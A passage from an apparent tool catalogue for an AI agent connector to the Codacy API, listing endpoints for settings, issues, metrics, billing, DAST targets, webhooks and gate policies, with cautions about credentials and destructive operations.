tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/providerSettings. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_analysis (write) — Update the status of the repository setting Run analysis on your build server via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/analysis. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/analysis. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_file_extensions (write) — Update the custom file extensions for a repository via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/file-extensions. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/file-extensions. Scopes: api. codacy_patch_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_languages (write) — Configure language settings for this repo via PATCH /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/languages. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/languages. Scopes: api. codacy_patch_user (write) — Update the authenticated user via PATCH /user. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/user. Scopes: api. codacy_patch_user_emails_settings (write) — Update email notification preferences via PATCH /user/emails/settings. Modifies the user's email notification settings. Settings can be updated individually without affecting other settings. This endpoint allows users to control which events trigger email notifications. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. PATCH /api/v1/codacy/user/emails/settings. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_autoconfig (write) — Add repository autoconfiguration run via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig. [Experimental] Autoconfig enqueuing endpoint POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/autoconfig. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_ignoredissues_search (read) — List ignored issues in a repository via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/ignoredIssues/search. Ignored issues are issues that Codacy found but were marked as ignored on the Codacy UI. Use SearchRepositoryIssuesBody to filter results. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/ignoredIssues/search. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_bulk_ignore (write) — Bulk ignore issues in a repository via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/bulk-ignore. Receives a list of issue ids and ignores them in the specified repository. Limited to 100 issues at once Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/bulk-ignore. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_overview (read) — Get an overview of the issues in a repository via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/overview. Returns information about the number of issues that Codacy found in a repository as available on the Issues page. Use SearchRepositoryIssuesBody to filter the returned issues. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/overview. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_issues_search (read) — List issues in a repository via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/search. Returns information about the issues that Codacy found in a repository as available on the Issues page. Use SearchRepositoryIssuesBody to filter the returned issues. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/issues/search. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_ai_reviewer_trigger (write) — Triggers an AI review for a pull request via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/ai-reviewer/trigger. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/ai-reviewer/trigger. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_pull_requests_by_pullrequestnumber_bypass (write) — Bypass analysis status in a pull request via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/bypass. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/pull-requests/{pullRequestNumber}/bypass. Scopes: api. codacy_post_analysis_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_recover (write) — Recover a stuck repository via POST /analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/recover. Triggers a recovery action when the repository is stuck on its first analysis. The exact action taken depends on the stuck state. Returns 422 Unprocessable Entity when the repository is not stuck. POST /api/v1/codacy/analysis/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/recover. Scopes: api. codacy_post_coverage_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_commits_by_commituuid_reanalyze (write) — Reanalyze the coverage for a commit via POST /coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/reanalyze. Triggers the reanalysis of the latest coverage report uploaded for the commit. Has no effect if the commit does not have any coverage report. POST /api/v1/codacy/coverage/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/commits/{commitUuid}/reanalyze. Scopes: api. codacy_post_enterprises_by_provider_by_enterprisename_metrics_by_metricname_latest (read) — Retrieve latest metric values for all organizations in an enterprise via POST /enterprises/{provider}/{enterpriseName}/metrics/{metricName}/latest. Retrieve the latest value for each organization in an enterprise for an aggregating metric (e.g., open issues). Note: It does not work for accumulating metrics, such as fixed issues Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/{metricName}/latest. Scopes: api. codacy_post_enterprises_by_provider_by_enterprisename_metrics_by_metricname_latest_grouped (read) — Retrieve latest metric values grouped by dimension for all organizations in an enterprise via POST /enterprises/{provider}/{enterpriseName}/metrics/{metricName}/latest-grouped. Retrieve an array of the latest values for an aggregating metric for each organization in an enterprise, based on the groupBy options. The groupBy can be organization or a valid dimension for the requested metric. Note: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/{metricName}/latest-grouped. Scopes: api. codacy_post_enterprises_by_provider_by_enterprisename_metrics_by_metricname_period (read) — Retrieve metric values for a specific period for all organizations in an enterprise via POST /enterprises/{provider}/{enterpriseName}/metrics/{metricName}/period. Retrieve the value for a metric for each organization in an enterprise, for a specific period, identified by its start date. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/{metricName}/period. Scopes: api. codacy_post_enterprises_by_provider_by_enterprisename_metrics_by_metricname_period_grouped (read) — Retrieve metric values grouped by dimension for a specific period for all organizations in an enterprise via POST /enterprises/{provider}/{enterpriseName}/metrics/{metricName}/period-grouped. Retrieve an array of values for a metric for each organization in an enterprise, for a specific period, identified by its start date, grouped according to the groupBy field. The groupBy can be organization or a valid dimension for the requested metric. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/{metricName}/period-grouped. Scopes: api. codacy_post_enterprises_by_provider_by_enterprisename_metrics_by_metricname_timerange (read) — Retrieve metric values for a time range for all organizations in an enterprise via POST /enterprises/{provider}/{enterpriseName}/metrics/{metricName}/timerange. Retrieve a specific metric's values for each organization in an enterprise, for a given time range. The response includes values grouped by period date and optionally by an additional groupBy parameter. The groupBy can be organization or a valid dimension for the requested metric. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/enterprises/{provider}/{enterpriseName}/metrics/{metricName}/timerange. Scopes: api. codacy_post_organizations (write) — Add an organization to Codacy via POST /organizations. Add an organization from a Git provider to Codacy Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_categories_search (read) — List AI inventory categories grouped by category group via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/categories/search. Returns the available inventory categories grouped by their category group. Used to populate the Categories filter drawer Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/categories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_locations_summaries_search (read) — List AI inventory location summaries for an organization via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/locations/summaries/search. Returns a paginated list of location summaries for an organization. Each summary represents a distinct location with an array of regions. Location is a URI with a couple custom protocols like repo-file and repo-sha. Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/locations/summaries/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_markers_summaries_search (read) — List AI inventory marker summaries for an organization via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/markers/summaries/search. Returns a paginated list of marker summaries for an organization. Each summary represents a distinct inventory resource — a (categoryGroup, category, marker) grouping — with reference and repository counts. Typically called after picking a provider on the provider summaries view; scope the result by passing aiProviders (and/or categoryGroups for the tab filter) in the request body Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/markers/summaries/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_providers_summaries_search (read) — List AI inventory provider summaries for an organization via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/providers/summaries/search. Returns a paginated list of provider summaries for an organization. Each summary aggregates resources, references, and repositories for one AI provider, with a per-category-group repository breakdown Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/providers/summaries/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_providers_summary (read) — Get AI inventory summary for a specific provider via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/providers/summary. Returns the summary for a specific AI provider (resource, reference, and repository counts plus a per-category-group repository breakdown). The provider name is given in the request body since it may contain spaces or special characters (e.g. GPT Engineer) Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/providers/summary. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_repositories_search (read) — List repositories that have AI inventory items via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/repositories/search. Returns a paginated list of repositories that have AI inventory items for an organization. Used to populate the Repositories filter dropdown Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/repositories/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_ai_inventory_repositories_summaries_search (read) — List AI inventory repository summaries for an organization via POST /organizations/{provider}/{remoteOrganizationName}/ai-inventory/repositories/summaries/search. Returns a paginated list of repository summaries for an organization. Each summary aggregates resources, references, and AI provider counts for one repository, with a per-category-group reference breakdown Paginated: pass `cursor` from the previous response's pagination block to read the next batch, and `limit` to size it. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/ai-inventory/repositories/summaries/search. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_billing (write) — Update the information about organization billing via POST /organizations/{provider}/{remoteOrganizationName}/billing. Update the information about organization billing Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_billing_card (write) — Add a card to the organization via POST /organizations/{provider}/{remoteOrganizationName}/billing/card. Add a card to the organization relying on the token provided by Stripe /v1/tokens Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. THE `cardToken` ARGUMENT IS A STRIPE CREDENTIAL, NOT A CODACY ONE: it is a single-use card token minted by Stripe's own /v1/tokens endpoint and passed through to Codacy. Do not invent or guess one -- only Stripe can produce a valid value, and anything else is refused. It is a payment credential: it will appear in this call's arguments. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing/card. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_billing_change_plan (write) — Change the plan of an organization via POST /organizations/{provider}/{remoteOrganizationName}/billing/change-plan. Available plan codes can be retrieved using listPaymentPlans Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing/change-plan. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_billing_sync (write) — Sync the information about organization billing via POST /organizations/{provider}/{remoteOrganizationName}/billing/sync. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/billing/sync. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_coding_standards (write) — Create a draft coding standard for an organization via POST /organizations/{provider}/{remoteOrganizationName}/coding-standards. To promote the draft coding standard to an effective coding standard, see promoteDraftCodingStandard. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_duplicate (write) — Duplicate a coding standard via POST /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/duplicate. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/duplicate. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_promote (write) — Promote a draft coding standard to an effective coding standard via POST /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/promote. If the draft coding standard is marked as default, it becomes the new default coding standard. The response includes the result of applying the coding standard to the repositories. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/promote. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_setdefault (write) — Set the default coding standard for an organization via POST /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/setDefault. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/setDefault. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_coding_standards_by_codingstandardid_tools_by_tooluuid_patterns_update (write) — Bulk update the code patterns of a tool in a coding standard via POST /organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns/update. Use filters to specify the code patterns to update, or omit the filters to update all code patterns. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/coding-standards/{codingStandardId}/tools/{toolUuid}/patterns/update. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_compliance_standards (write) — Create a compliance standard for an organization via POST /organizations/{provider}/{remoteOrganizationName}/compliance-standards. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/compliance-standards. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_dast_targets (write) — Create a DAST target via POST /organizations/{provider}/{remoteOrganizationName}/dast/targets. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. THE `apiAuthHeaders` ARGUMENT IS A CREDENTIAL FOR THE TARGET BEING SCANNED, not for Codacy: it is a free-form map of HTTP headers that CODACY will send to the `url` you give it, so anything placed there (an Authorization header, an API key) is handed to that address on every scan. Set it only for a target you control. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/dast/targets. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_dast_targets_by_dasttargetid_analyze (write) — Enqueue a DAST analysis for the given target via POST /organizations/{provider}/{remoteOrganizationName}/dast/targets/{dastTargetId}/analyze. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/dast/targets/{dastTargetId}/analyze. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_gate_policies (write) — Create a gate policy via POST /organizations/{provider}/{remoteOrganizationName}/gate-policies. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_gate_policies_by_gatepolicyid_setdefault (write) — Set the gate policy as the default for an organization via POST /organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/setDefault. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/{gatePolicyId}/setDefault. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_gate_policies_setcodacydefault (write) — Set the built-in Codacy gate policy as the default for an organization via POST /organizations/{provider}/{remoteOrganizationName}/gate-policies/setCodacyDefault. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/gate-policies/setCodacyDefault. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_integrations_jira_tickets (write) — Create a Jira ticket via POST /organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/jira/tickets. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_integrations_providersettings_apply (write) — Apply default settings to all repositories via POST /organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings/apply. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/providerSettings/apply. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_integrations_webhooks (write) — Add a webhook endpoint to the organization via POST /organizations/{provider}/{remoteOrganizationName}/integrations/webhooks. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. RETURNS A LIVE SECRET IN THE RESULT: the value below is a real credential and is shown once. It will appear in this tool's output and in the conversation, it outlives this connection, and disconnecting Agentic Fabriq does not revoke it. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/integrations/webhooks. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_join (write) — Join an organization via POST /organizations/{provider}/{remoteOrganizationName}/join. Endpoint to join an organization by provider and name POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/join. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_joinmode (write) — Update the join mode of an organization via POST /organizations/{provider}/{remoteOrganizationName}/joinMode. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/joinMode. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_by_metricname_latest (read) — Retrieve the latest value of a metric via POST /organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/latest. Retrieve the latest value for an aggregating metric (e.g., open issues). Note: It does not work for accumulating metrics, such as fixed issues Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/latest. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_by_metricname_latest_grouped (read) — Retrieve the latest metric values grouped by dimension via POST /organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/latest-grouped. Retrieve an array of the latest values for an aggregating metric, based on the groupBy options. The groupBy can be organization, repository, or a valid dimension for the requested metric. Note: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/latest-grouped. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_by_metricname_period (read) — Retrieve metric value for a specific period via POST /organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/period. Retrieve the value for a metric for a specific period, identified by its start date. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/period. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_by_metricname_period_grouped (read) — Retrieve metric values for a specific period grouped by dimension via POST /organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/period-grouped. Retrieve an array of values for a metric for a specific period, identified by its start date, grouped according to the groupBy field. The groupBy can be organization, repository, or a valid dimension for the requested metric. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/period-grouped. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_by_metricname_timerange (read) — Retrieve metric values for a time range via POST /organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/timerange. Retrieve a specific metric's values for a given time range. The response includes values grouped by period date and optionally by an additional groupBy parameter. The groupBy can be organization, repository, or a valid dimension for the requested metric. Notes: Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/{metricName}/timerange. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_metrics_start (write) — Start collecting metrics for an organization via POST /organizations/{provider}/{remoteOrganizationName}/metrics/start. Start data collection for missing metrics. The organization must have metrics support enabled. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/metrics/start. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_people (write) — Add people to organization via POST /organizations/{provider}/{remoteOrganizationName}/people. Add people to organization as members or committers (depending if they have a pending request already) Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/people. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_people_remove (write, destructive) — Remove people from an organization via POST /organizations/{provider}/{remoteOrganizationName}/people/remove. Remove people from an organization Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/people/remove. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_presets_standards (write) — Create a coding standard for an organization choosing from a series of presets via POST /organizations/{provider}/{remoteOrganizationName}/presets-standards. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/presets-standards. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_branches_by_branchname_setdefault (write) — Set branch as default via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}/setDefault. Sets the default branch for a repository. The new default branch must already be enabled on Codacy. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/branches/{branchName}/setDefault. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_follow (write) — Follow a repository that was already added to Codacy via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/follow. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/follow. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_integrations_jira_tickets (write) — Create a Jira ticket via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/jira/tickets. Deprecated: Use createJiraTicket instead. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/jira/tickets. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_integrations_refreshprovider (write) — Refresh the Git provider integration for a repository (GitLab and Bitbucket only) via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/refreshProvider. Codacy will use the authenticated user to create comments on new pull requests POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/integrations/refreshProvider. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_reanalyzecommit (write) — Reanalyze a specific commit in a repository via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/reanalyzeCommit. Codacy parses the request body BEFORE it checks the credential on many operations, so a 400 'DecodingFailure' from this tool is a complaint about the body and says nothing about the connection. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/reanalyzeCommit. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_commits_reset (write, destructive) — Reset quality settings for the commits of a repository to Codacy’s default values via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits/reset. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/commits/reset. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_pull_requests_reset (write, destructive) — Reset quality settings for the pull requests of a repository to Codacy’s default values via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests/reset. DESTRUCTIVE and not undoable through this API: Codacy publishes no restore endpoint for what this removes. POST /api/v1/codacy/organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/pull-requests/reset. Scopes: api. codacy_post_organizations_by_provider_by_remoteorganizationname_repositories_by_repositoryname_settings_quality_repository_reset (write, destructive) — Reset quality settings for the repository to Codacy’s default values via POST /organizations/{provider}/{remoteOrganizationName}/repositories/{repositoryName}/settings/quality/repository/reset. DESTRUCTIVE and not undoable through this 